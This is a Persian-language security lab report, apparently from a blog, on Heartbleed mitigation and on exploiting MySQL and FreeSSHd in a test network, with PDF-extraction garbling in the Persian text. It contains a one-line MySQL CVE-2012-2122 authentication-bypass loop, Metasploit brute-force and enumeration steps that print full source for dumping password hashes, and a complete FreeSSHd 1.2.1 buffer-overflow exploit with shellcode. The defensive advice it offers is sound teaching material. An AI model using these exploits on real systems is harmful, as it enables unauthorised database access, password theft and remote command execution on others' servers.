. پس از اتصال یک sشود به نام افتد؟ ابتدا برای ارتباط یک سوکت باز میچه اتفاقی می mainاما در تابع  

 recvmsgشود. با استفاده از تابع رداری آورده شده است، ارسال میببسته که محتوای آن در خود کد بهره

که یا به خطایی برخورد کنیم و یا به انتهای پیام )انتهای گیرد تا زمانیچندین بار سوکت مورد بررسی قرار می

تا زده  را صدا hit_hbدریافت کرده و تابع  ()sys.stdout.flushکش( برسیم. در انتها تمام کش را با دستور 

پذیر بود و ما توانسیتم بخشی از حافظه را دریافت درصورت این که مقدار دریافتی بدرد بخور بود )سرور اسیب

 کنیم( خروجی برای کاربر چاپ شود.

تر، با ارسال دو بسته این به بیان راحت

ی اکند. بسته اول بستهپذیری کار میآسیب

ت ای تحو بسته دوم بسته helloتحت عنوان 

 است که بااست. بسته اول یک بسته hbعنوان 

 پذیر هستفهیمیم سیستم آسیبارسال آن می

 ای است که کش سیستمیا نه. و بسته دوم بسته

 دهد. را به ما می
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 موارد زیر قرار گفته است: helloدر بسته 

 
 داریم: hbو در بسته 

 
کنند و قابلیت اجرا ندارند. چرا که ها فقط یک بسته را مشخص میشود این دادهطور که ملاحظه میهمان

 های بالا از آدرس تحلیل قرار است ارسال شوند و نه اجرا.

-of-proof-heartbleed-the-http://www.westpoint.ltd.uk/blog/2014/04/14/understanding

concept/ 

 گرفته شده است.

 .توجه: این آسیپ پذیری فاقد کدپوسته سطح پایین است که نیاز به توضیح داشته باشد

 
 

http://www.ictpishro.com/webtakhasosi/31-ssl.html 
  

http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-concept/
http://www.westpoint.ltd.uk/blog/2014/04/14/understanding-the-heartbleed-proof-of-concept/
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 یيشناسا و یریجلوگ یهاروش  .1.6.4

ه ک ییهااز نسخه یاتا  شودیم یهوب سرورها توص یرانناخواسته به سرور، به مد یاز نفوذها یریجلوگ یبرا

اگر  یا، و OpenSSL 1.0.1g شده یهتوص یرایشاستفاده کنند، مانند و باشندیم یتیاشکال امن ینبدون ا

ا به شکل موقت، ب یمیقد هاینسخهمجدد  یلبا کامپا توانندیم یستفراهم ن یشانا یبرا یامکان بروز رسان

 یررا غ Heartbeats ماژول یل،در زمان کامپا -DOPENSSL_NO_HEARTBEATS یچاستفاده از سوئ

 برطرف کردن یاو  ی. هرچند بروز رسانیندافزار اقدام نمانرم یزمان ممکن به بروزرسان ینفعال کنند و در اول

 هاییسو سرو OpenSSL اما اگر برنامه سازد،یبرطرف م رااشکال  نیفوق ا یهابه روش یتیاشکال امن ینا

، کد (restart)نگردند یاندازمتوفق نشوند و دوباره راه کنندیکه از آن استفاده م ییافزارهانرم یامرتبط با آن و 

 ابییدستبه اطلاعات حساس سرور  توانندیو نفوذگران همچنان م ماندهیباق یستممخرب همچنان در حافظه س

رمزها،  دها،یاطلاعات حساس مانند کل یتمام بایستیم یستمس یتامن یابیباز یبرا ینباشند. علاوه بر ا داشته

 :شوند شامل یضتعو یدکه با یشوند. اطلاعات یضپاک و تعو یمیقد ی(token) هاو توکن ها،یکوک

 درویکه احتمال به سرقت رفتن آنها م یو خصوص یعموم یتیامن کلیدهای. 

 تمامی certificateشوند یجادمجدداً ا یدبا یدهاکل یندر ارتباط با ا یها. 

 ضیتعو یدبا رودیکه احتمال مورد حمله قرار گرفتن آنها م ییسرورها یموجود بر رو یپسوردها تمامی 

 .شوند

 

 یرانمد د کهشدن یجادباگ ا ینا ییشناسا یبرا هایییکشنها و اپلبرنامه یتیحفره امن ینا ییاز شناسا بعد

و سپس به روش فوق  یندخود استفاده نما یسرورها یحفره بر رو ینا یصتشخ یاز آنها برا توانندیسرورها م

 .باشدیابزارها م ینشامل ا یرز یست. لیندباگ نما ینبردن ا یناقدام به از ب

https://github.com/rapid7/metasploit-

framework/blob/master/modules/auxiliary/scanner/ssl/openssl_heartbleed.rb 

http://amn.bayan.ir 

https://www.ssllabs.com/ssltest/ 

http://filippo.io/Heartbleed/ 

http://possible.lv/tools/hb/ 

https://blog.lookout.com/blog/2014/04/09/heartbleed-detector/ 

https://lastpass.com/heartbleed/   



Ahmadian.blog.ir 
 .گزارش بر عهده شما استاستفاده بدخواهانه از این هرگونه است و عواقب در جهت ارتقای امنیت اطلاعات این گزارش صرفا آموزش دف ه

 21 

 

 

2  

 فصل دوم

 ره برداری از آسیب پذیری  دومبه
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 CVE-2012-2122آسیب پذیری  .2.1

اقدام به جستجوی  آسیپ پذیری ها   14.04بر روی اوبونتو    MySQLبعد از امتحان و  نصب نسخه های متعدد 

اکسپولیت های متعددی کردم که حاصل این جست و جو بررسی اکسپولیت های متعددی بود که عمده آنها در 

های جدید در برابر آنها  MySQLمعرفی شده اند اما مشکل عمده آنها  امن شدن  exploit-db.comسایت 

 تا اکسپلویت های پیشرفته تر . CVE-2012-2122نظیر گرفته  MySQLبود از ساده ترین اکسپلویت ها 

  CVE-2012-2122آسیب پذیری 

 Sergeiبود که  توسط  MySQLاین آسیب پذیری به عنوان یکی از کمدی ترین آسیب پذیری های 

Golubchik   این آسیب پذیری دز اثر نقص امنیتی تابعمطرح شدmemcmp() در سرور MySQL   به وجود

بود اما به دلیل آنکه بر روی برخی پلت  128-تا  127+آمد به نحوی که  مقدار خروجی این  تابع در بازه بین 

این تابع گاهی از مقادیری خارج از این رنج را تولید می فرم ها روتین های بهینه سازی فعال می شود خروجی 

کنند به خصوص به دلیل مقایسه پسورد ها به صورا مقادیر درهم سازی شده. به دلیل  همین بهینه سازی و مقایسه 

مقادیر هش احتمال اینکه سرور در مکانیزم تصدیق اصالت  دچار اختلال شود و پسورد اشتباه را قبول کند نسبت 

کلمه عبور اشتباه به سرور  1000است که این باعث می شود با اجرا کد زیر بتوان به راحتی با تست  250به  یک

 لاگین کرد:

$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 

2>/dev/null; done 

mysql> 

 ود:این آسیب پذیری بر روی سیستم عامل های ذیل تایید شده ب

 Ubuntu Linux 64-bit ( 10.04, 10.10, 11.04, 11.10, 12.04 )  
 OpenSuSE 12.1 64-bit MySQL 5.5.23-log Debian Unstable 64-bit 5.5.23-2  

 Fedora  
 Arch Linux (unspecified version) 

را بای  MySQL 5.5.22در شکل ذیل مشاهد می کنید که این اکسپلویت به راحتی مکانیزم تصدیق اصالت 

 پس کرده است:
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بر طرف شده است .همانطور که در تصویر  MySQL 5.6.17و  14.04که البته این آسیب پذیری بروی اوبونتو 

 ذیل مشاهده می کنید:

 
 برابراست و آدرس آی پی سرور مهاجم  192.168.23.129برابر  MySQLدر پروژه بنده آی پی سرور 

192.168.23.129 

 CVE-2012-0221(mysql_login.rb)آسیب پذیری  .2.2

شدن مکانیزم تصدیق اصالت سرور رخ  failآسیب پذیری ساده دیگر که  به علت عدم چک کردن تعداد دفعات 

کردن بتواند کسپلویت ساده ای را  bruteforceمی دهد این امکان را به وجود می آورد که مهاجم بتواند با 

که مکانیزم این حمله را مرحله به مرحله در تصاویر زیر نمایش داده  انجام دهد و به راحتی سرور را بای پس کند

 ام:

 است یا خیر MySQLبررسی می کنیم که سرور دارای پورت باز  Nampدر ابتدا با دستور 
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روی آن  MySQLاست که  3306همانطور که در تصویر بالا مشاهده می کنید سرور ما دارای پورت باز 

از اکسپلویت زیر برای مطمئن شدن   Metasploit frameworkاین مرحله با اجرای سرویس می دهد.حال در 

 برای اکسپلویت کردن آن استفاده می کنیم: MySQLاز ورژن 

 

 سپس در این مرحله تنظیمات سرور قربانی را انجام می دهیم:

 

ردن نجام دهیم،بعد از ست کالبته اگر چندین سرور داشتیم به صورت گروهی هم می توانستم این تنظیمات را ا

RHOSTS    در این مرحله اطلاعات اکسپلویت را بادستورinfo :مشاهده می کنیم 
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 بعد از اطمینان از تنظیمات اعمال شده اکسپلویت را اجرا  می کنیم:

 

درست بود.حال در این مرحله به سراغ اکسپلویت اصلی برای   MySQLمشاهده می کنیم که اطلاعات ورژن  

نام  mysql_loginای پس کردن لاگین می رویم این اکسپلوست همانطور که در تصور ذیل مشاهده می کنید ب

 دارد.

 

است ست می  rootدر این اکسپلویت بنده مقادر یوزرنیم را از آنجایی که عموما  RHOSTبعد از ست کردن 

 کنم:
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ز روت باشد تنظیمات را اعمال می کنم،در ذیل هر چند که در ادامه برای شرایطی که ممکن است یوزرنیم غیر ا

 seاطلاعات اکسپلویت را مشاهده می کنیم:

 
 حال در این مرحله بنده لیستی از یوزرنیم های احتمالی را به اکسپلویت می دهم:

 

 و فایل پسورد ها را به همین شکل ست می کنم.در تصویر ذیل اطلاعات نهایی اکسپولیت را مشاهده می کنیم:
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 حال اکسپلویت را اجرا کرده و صبر می کنیم تا ببینیم که این اکسپلویت موفق بوده است یا نه.

 

همانطور که در تصویر بالا مشاهده می کنیم ،اکسپولیت به موفقیت نام کاربری و پسورد آن را پیدا کرد حال 

مشاهده کند..حل این آسیب پذیری  مهاجم می تواند به راحتی به دیتا بیس متصل شده و اطلاعات محرمانه آن را
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شبکه قابل انجام است که چنانچه تعداد مکانشکن های لاکین ناموفق  IDSبا تنظیم یک پالیسی برروی فایروال یا 

 از حدی تجاوز کرد جلو این ترافیک گرفته شود.
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 mysql_enum.rbآسیب پذیری  .2.3

 

 

 

عنی که مهاجم نام کاربری و پسورد کاربری از است ی Privilege_escalation در اکسپلویت ذیل هدف

را پیدا کند)همانطور که می    rootپسورد   rootدیتابیس را دارد و سعی می کند با حدس نام کاربری کاربر 

برای پایگاه  rootدانیم بسیاری از سرورها در اثر بی دقتی مدیرپایگاه داده یا مدیر امنیتی از نام های عمومی مانند 

تفاده می کنند که این خود  دلیل موفقیت بسیاری از حملات ساده است(و به دیتابیس حمله کند.مهاجم داده اس

 استفاده می کند. mysql_enumبدین منظور از  اکسپلویت 

 کد اکسپلویت نامرده به شکل ذیل است:

## 

# $Id: mysql_enum.rb 14774 2012-02-21 01:42:17Z rapid7 $ 

## 

 

## 

# This file is part of the Metasploit Framework and may be subject to 

# redistribution and commercial restrictions. Please see the Metasploit 

# web site for more information on licensing and terms of use. 

#   http://metasploit.com/ 

## 

 

require 'msf/core' 

 

class Metasploit3 < Msf::Auxiliary 

 

    include Msf::Exploit::Remote::MYSQL 

 

    def initialize(info = {}) 

        super(update_info(info, 

                'Name'          => 'MySQL Enumeration Module', 

                'Description'   => %q{ 

                    This module allows for simple enumeration of MySQL 

Database Server 

                    provided proper credentials to connect remotely. 

                }, 

                'Author'        => [ 'Carlos Perez. 

<carlos_perez[at]darkoperator.com>' ], 

                'License'       => MSF_LICENSE, 

                'Version'       => '$Revision: 14774 $', 

                'References'    => 

                [ 

                    [ 'URL', 'https://cisecurity.org/benchmarks.html' ] 

                ] 

            )) 



Ahmadian.blog.ir 
 .گزارش بر عهده شما استاستفاده بدخواهانه از این هرگونه است و عواقب در جهت ارتقای امنیت اطلاعات این گزارش صرفا آموزش دف ه

 30 

 

 

    end 

 

    def run 

        return if not mysql_login_datastore 

        print_status("Running MySQL Enumerator...") 

        print_status("Enumerating Parameters") 

        #------------------------------------------------------- 

        #getting all variables 

        vparm = {} 

        res = mysql_query("show variables") || [] 

        res.each do |row| 

            #print_status(" | #{row.join(" | ")} |") 

            vparm[row[0]] = row[1] 

        end 

 

        #------------------------------------------------------- 

        # MySQL Version 

        print_status("\tMySQL Version: #{vparm["version"]}") 

        print_status("\tCompiled for the following OS: 

#{vparm["version_compile_os"]}") 

        print_status("\tArchitecture: #{vparm["version_compile_machine"]}") 

        print_status("\tServer Hostname: #{vparm["hostname"]}") 

        print_status("\tData Directory: #{vparm["datadir"]}") 

 

        if vparm["log"] == "OFF" 

            print_status("\tLogging of queries and logins: OFF") 

        else 

            print_status("\tLogging of queries and logins: ON") 

            print_status("\tLog Files Location: #{vparm["log_bin"]}") 

        end 

 

        print_status("\tOld Password Hashing Algorithm 

#{vparm["old_passwords"]}") 

        print_status("\tLoading of local files: #{vparm["local_infile"]}") 

        print_status("\tLogins with old Pre-4.1 Passwords: 

#{vparm["secure_auth"]}") 

        print_status("\tSkipping of GRANT TABLE: 

#{vparm["skip_grant_tables"]}") if vparm["skip_grant_tables"] 

        print_status("\tAllow Use of symlinks for Database Files: 

#{vparm["have_symlink"]}") 

        print_status("\tAllow Table Merge: #{vparm["have_merge_engine"]}") 

        print_status("\tRestrict DB Enumeration by Privilege: 

#{vparm["safe_show_database"]}") if vparm["safe_show_database"] 

 

        if vparm["have_openssl"] == "YES" 

            print_status("\tSSL Connections: Enabled") 

            print_status("\tSSL CA Certificate: #{vparm["ssl_ca"]}") 

            print_status("\tSSL Key: #{vparm["ssl_key"]}") 

            print_status("\tSSL Certificate: #{vparm["ssl_cert"]}") 

        else 

            print_status("\tSSL Connection: #{vparm["have_openssl"]}") 

        end 

 

        #------------------------------------------------------- 

        # Database selection 

        query = "use mysql" 

        mysql_query(query) 

 

        #Account Enumeration 
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        # Enumerate all accounts with their password hashes 

        print_status("Enumerating Accounts:") 

        query = "select user, host, password from mysql.user" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tList of Accounts with Password Hashes:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]} Password 

Hash: #{row[2]}") 

            end 

        end 

        # Only list accounts that can log in with SSL if SSL is enabled 

        if vparm["have_openssl"] == "YES" 

            query = %Q|select user, host, ssl_type from mysql.user where 

                (ssl_type = 'ANY') or 

                (ssl_type = 'X509') or 

                (ssl_type = 'SPECIFIED')| 

            res = mysql_query(query) 

            if res.size > 0 

                print_status("\tThe following users can login using SSL:") 

                res.each do |row| 

                    print_status("\t\tUser: #{row[0]} Host: #{row[1]} 

SSLType: #{row[2]}") 

                end 

            end 

        end 

        query = "select user, host from mysql.user where Grant_priv = 'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have GRANT Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

 

        query = "select user, host from mysql.user where Create_user_priv = 

'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have CREATE USER 

Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

        query = "select user, host from mysql.user where Reload_priv = 'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have RELOAD Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

        query = "select user, host from mysql.user where Shutdown_priv = 

'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have SHUTDOWN Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 
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            end 

        end 

        query = "select user, host from mysql.user where Super_priv = 'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have SUPER Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

        query = "select user, host from mysql.user where FILE_priv = 'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have FILE Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

        query = "select user, host from mysql.user where Process_priv = 

'Y'" 

        res = mysql_query(query) 

        if res.size > 0 

            print_status("\tThe following users have PROCESS Privilege:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

        queryinmysql = %Q|       select user, host 

                from mysql.user where 

                (Select_priv = 'Y') or 

                (Insert_priv = 'Y') or 

                (Update_priv = 'Y') or 

                (Delete_priv = 'Y') or 

                (Create_priv = 'Y') or 

                (Drop_priv = 'Y')| 

        res = mysql_query(queryinmysql) 

        if res.size > 0 

            print_status("\tThe following accounts have privileges to the 

mysql database:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

 

 

        # Anonymous Account Check 

        queryanom = "select user, host from mysql.user where user = ''" 

        res = mysql_query(queryanom) 

        if res.size > 0 

            print_status("\tAnonymous Accounts are Present:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

 

        # Blank Password Check 

        queryblankpass = "select user, host, password from mysql.user where 

length(password) = 0 or password is null" 

        res = mysql_query(queryblankpass) 

        if res.size > 0 
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            print_status("\tThe following accounts have empty passwords:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

 

        # Wildcard host 

        querywildcrd = 'select user, host from mysql.user where host = "%"' 

        res = mysql_query(querywildcrd) 

        if res.size > 0 

            print_status("\tThe following accounts are not restricted by 

source:") 

            res.each do |row| 

                print_status("\t\tUser: #{row[0]} Host: #{row[1]}") 

            end 

        end 

 

        mysql_logoff 

    end 

 

end 

 

 

به سرور میکند که در  enumerationاقدام به ارسال بسته های مختلف و حمله   mysql_enumاکسپلویت 

 خراج کرد این میان می توان اطلاعات مفیدی را گاها است
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 که آدرس سرور پایگاه داده است ست می کنیم.   192.168.23.129رابه مقدار   RHOSTدر این گام مقدار 

 

است و مهاجم از آنها اطلاع دارد  را ست    ruserبا پسورد   ruserسپس اطلاعات کاربر سطح پایین که کاربر 

 می کنیم:

 را می کنیم:حال در این مرحله اکسپلویت تنظیم شده را اج
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 نمایش داده شده است enumeration همانطور که مشاهده می کنید بخشی از اطلاعات
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  hash-dumpاست  که در  rootتصویر بالا یکی از اطلاعات بدست آمده  مقدار درهم سازی شده  نام کاربر 

عه با سایت ذیل اقدام به به دست آمد حال با مراج enumerationسرور ذخیره شده بود  و توسط اکسپلویت 

 ترجمه این مقدار هش می کنیم:

 

برای کاربر روت به راحتی بدست می آید حال مهاجم می تواند با نام کاربری  123456که در نهایت پسورد 

root   و این رمز عبور با سرور ارتباط برقرار کند.البته در صورتی که اجازه اتصال راه دور به کاربرroot    داده

ه باشد.وصله امنیتی این باگ برروی نسخه بعدی اعمال شده است که با آپدیت آن مشکل برطرف می شود از شد

را تنها به کاربران محدود و سطح پایین داد تا در صورت  Remoteطرف دیگر به راحتی می توان امکان اتصال 

 چنین حملاتی نتوانند با کاربران سطح بالا متصل شوند.

 FreeSSHd 1.2.1 -Remote Buffer Overflowآسیب پذیری  .2.4

Exploit 
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و شل همراه اقدام به گرفتن   BOFبود اکسپلویت ذیل را که با    BOFاز آنجایی که اکسپلویت دلخواه فاقد 

Command Shell :از قربانی ویندوزی می کند را پیشنهاد می دهم 

را تنظیم کنیم که بنده برای این امر  SSHور در ابتدا برای انجام این پروژه بر روی سرور ویندوزی باید سر

MobaSSH  :را که کاراترین آنهاست را استفاده کردم 

 

 

 

 بعد از تنطیم آن بر روی سرور به شکل ذیل
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 لاگین می کنیم : SSHبا    Guestبه سیستم   Hostبرای اطمینان از عملکرد درست سرور از درون سیستم   

 

 به درستی برقرار می شود: اتصال  که مشاهده می کنیم
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 به سرور برمی آییم: Buffer Over Flowحال از دورن سیستم مهاجم سعی در اجرای اکسپلویت ذیل و حمله 

# FreeSSHd 1.2.1 (rename) Remote Buffer Overflow Exploit 

# 

# Advisory: http://www.bmgsec.com.au/advisory/45/ 

# Original: http://www.bmgsec.com.au/advisory/32/ 

# Related : http://www.bmgsec.com.au/advisory/42/ 

# 

# Test box: WinXP Pro SP2 English 

# 

# Exploit code for a vulnerability I discovered sometime 

# ago in FreeSSHd 1.2.1. This code should be run from a  

# user titled "root", or adjust the payload for your  

# username. I've left space for adjustments. Up to the 

# first six NOPs can be used (inclusive).  

# 

# The code exploits a vulnerability in the SFTP Rename 

# operation. The vulnerability was patched in 1.2.2 

# 

# 00416F98  50             PUSH EAX                       

# 00416F99  8D85 B8FEFFFF  LEA EAX,DWORD PTR SS:[EBP-148] 

# 00416F9F  50             PUSH EAX                       

# 00416FA0  E8 45B50400    CALL <JMP.&MSVCRT.strcpy>      

# 

# 

# Written and discovered by: 

# r0ut3r (writ3r [at] gmail.com / www.bmgsec.com.au) 

  

use Net::SSH2; 
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my $user = "root"; 

my $pass = "yahh"; 

  

my $ip = "127.0.0.1"; 

my $port = 22; 

  

my $ssh2 = Net::SSH2->new(); 

  

print "[+] Connecting...\n"; 

$ssh2->connect($ip, $port) || die "[-] Unable to connect!\n"; 

$ssh2->auth_password($user, $pass) || "[-] Incorrect credentials\n"; 

print "[+] Sending payload\n"; 

  

$nop = "\x90"; 

$padding = 'A' x 105; 

  

my $SEH = "\x21\x11\x40\x00"; # pop, pop, ret - 0x00401121 (Universal - 

freeSSHdServer.exe) 

my $nextSEH = "\xEB\xF0\x90\x90"; # jmp short 240, nop, nop 

  

$mShellcode = "\xE9\xF2\xFE\xFF\xFF"; 

  

# win32_exec -  EXITFUNC=process CMD=calc Size=160 Encoder=PexFnstenvSub - 

metasploit.com 

my $shellcode = 

"\x29\xc9\x83\xe9\xde\xd9\xee\xd9\x74\x24\xf4\x5b\x81\x73\x13\x02". 

"\x28\x29\x10\x83\xeb\xfc\xe2\xf4\xfe\xc0\x6d\x10\x02\x28\xa2\x55". 

"\x3e\xa3\x55\x15\x7a\x29\xc6\x9b\x4d\x30\xa2\x4f\x22\x29\xc2\x59". 

"\x89\x1c\xa2\x11\xec\x19\xe9\x89\xae\xac\xe9\x64\x05\xe9\xe3\x1d". 

"\x03\xea\xc2\xe4\x39\x7c\x0d\x14\x77\xcd\xa2\x4f\x26\x29\xc2\x76". 

"\x89\x24\x62\x9b\x5d\x34\x28\xfb\x89\x34\xa2\x11\xe9\xa1\x75\x34". 

"\x06\xeb\x18\xd0\x66\xa3\x69\x20\x87\xe8\x51\x1c\x89\x68\x25\x9b". 

"\x72\x34\x84\x9b\x6a\x20\xc2\x19\x89\xa8\x99\x10\x02\x28\xa2\x78". 

"\x3e\x77\x18\xe6\x62\x7e\xa0\xe8\x81\xe8\x52\x40\x6a\x56\xf1\xf2". 

"\x71\x40\xb1\xee\x88\x26\x7e\xef\xe5\x4b\x48\x7c\x61\x28\x29\x10"; 

  

my $payload = $nop x 6 . $shellcode . $padding . $mShellcode . $nop x 9 . 

$nextSEH . $SEH; 

  

my $sftp = $ssh2->sftp(); 

$sftp->rename($payload, 'B'); 

  

print "[+] Sent"; 

$ssh2->disconnect; 

  

# milw0rm.com [2009-03-27] 

بدین منظور مراحل ذیل را به این شکل طی می کنیم:)بنده برای  این حمله از سیستم عامل کالی استفاده کرده ام  

 (exploit databaseابزار  و
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 حال اکسپلویت نامبرده را به شکل ذیل اجرا می کنیم:

 

 موفقیت خروجی ذیل نمایش داده می شود:که در صورت  
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 حال نوبت به نت کت و استفاده از اکسپلوت کد و شل اجرا شده با دستور ذیل می رسد:

به درستی تنظیم نباشد پیام خطای ذیل را مشاهده می  Stack Pointerو  Base Pointerکه چنانچه مقادیر 

 کنیم 

 

 س رنج این مقادیر رجیسترها را پیدا کنیم می توانیم از سیستم قربانی بهاما اگر بتوانیم با آزمون خطا و بروت فور

 بگیرم: command shellشکل ذیل 

 

 

 ت سرریز بافر می تواند به کلیه سیستم قربانی از جمله دیتابیس سیستم نیزویو حال مهاجم به کمک این اکسپل

 ه هر نوع عمل خرابکارانه ای بکند.دسترسی داشته و اقدام ب

 اسمبل کردن کد پوسته  دی .2.4.1

 

داد و خروجی سطح زبان  disassemblerبرای درک بیشتر کد پوسته می توان آن را مشابه کد ذیل به یک 

 ماشین آن را درک کرد.
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31 db f7 e3 68 ff f4 f5 e2 68 fb f5 

b0 f8 68 b0 fb fc ff 68 fc f5 e2 f5 

68 f5 e2 b0 f6 68 e2 f5 fe f7 68 c6 

f9 b0 e4 b9 90 90 90 90 31 0c 04 04 

04 3c 1c 75 f7 89 e1 31 c0 b0 04 b2 

1c cd 80 b0 01 cd 80 

 

 کردن: disassembler بعدا ز

; ndisasm -b 32 shellcode 

00000000  31DB              xor ebx,ebx 

00000002  F7E3              mul ebx 

00000004  68FFF4F5E2        push dword 0xe2f5f4ff 

00000009  68FBF5B0F8        push dword 0xf8b0f5fb 

0000000E  68B0FBFCFF        push dword 0xfffcfbb0 

00000013  68FCF5E2F5        push dword 0xf5e2f5fc 

00000018  68F5E2B0F6        push dword 0xf6b0e2f5 

0000001D  68E2F5FEF7        push dword 0xf7fef5e2 

00000022  68C6F9B0E4        push dword 0xe4b0f9c6 

00000027  B990909090        mov ecx,0x90909090 

0000002C  310C04            xor [esp+eax],ecx 

0000002F  0404              add al,0x4 

00000031  3C1C              cmp al,0x1c 

00000033  75F7              jnz 0x2c 

00000035  89E1              mov ecx,esp 

00000037  31C0              xor eax,eax 

00000039  B004              mov al,0x4 

0000003B  B21C              mov dl,0x1c 

0000003D  CD80              int 0x80 

0000003F  B001              mov al,0x1 

00000041  CD80              int 0x80 

 

 

 

 سپس کد اسمبلی آن را توضیح داد.

00000000  31DB              xor ebx,ebx 

00000002  F7E3              mul ebx 

 

; ebx = 0 

; eax = eax * ebx = 0 

 

00000004  68FFF4F5E2        push dword 0xe2f5f4ff 

00000009  68FBF5B0F8        push dword 0xf8b0f5fb 

0000000E  68B0FBFCFF        push dword 0xfffcfbb0 

00000013  68FCF5E2F5        push dword 0xf5e2f5fc 

00000018  68F5E2B0F6        push dword 0xf6b0e2f5 

0000001D  68E2F5FEF7        push dword 0xf7fef5e2 

00000022  68C6F9B0E4        push dword 0xe4b0f9c6 

00000027  B990909090        mov ecx,0x90909090 

 

; push some data to the stack 

; ecx = 0x90909090 

 

0000002C  310C04            xor [esp+eax],ecx 

0000002F  0404              add al,0x4 

00000031  3C1C              cmp al,0x1c 
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00000033  75F7              jnz 0x2c 

 

; // Xor the data pushed to the stack with 0x90909090 

; while (al != 28) { 

;     stack[al] ^= ecx 

;     al += 4; 

; } 

 

00000035  89E1              mov ecx,esp 

00000037  31C0              xor eax,eax 

00000039  B004              mov al,0x4 

0000003B  B21C              mov dl,0x1c 

0000003D  CD80              int 0x80 

 

; // Print stack data to stdout 

; sys_write(fd: ebx = 0, *chars: ecx = stack, count: dl = 28); 

 

0000003F  B001              mov al,0x1 

00000041  CD80              int 0x80 

 

; sys_exit(1); 

استفاده Hackman Suite Pro v9.20 کردن کدپوسته اصلی در ویندوز بنده از disassembler برای

 کردم:
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 که دیاسمبل شده کل کد پوسته به شرح ذیل است:
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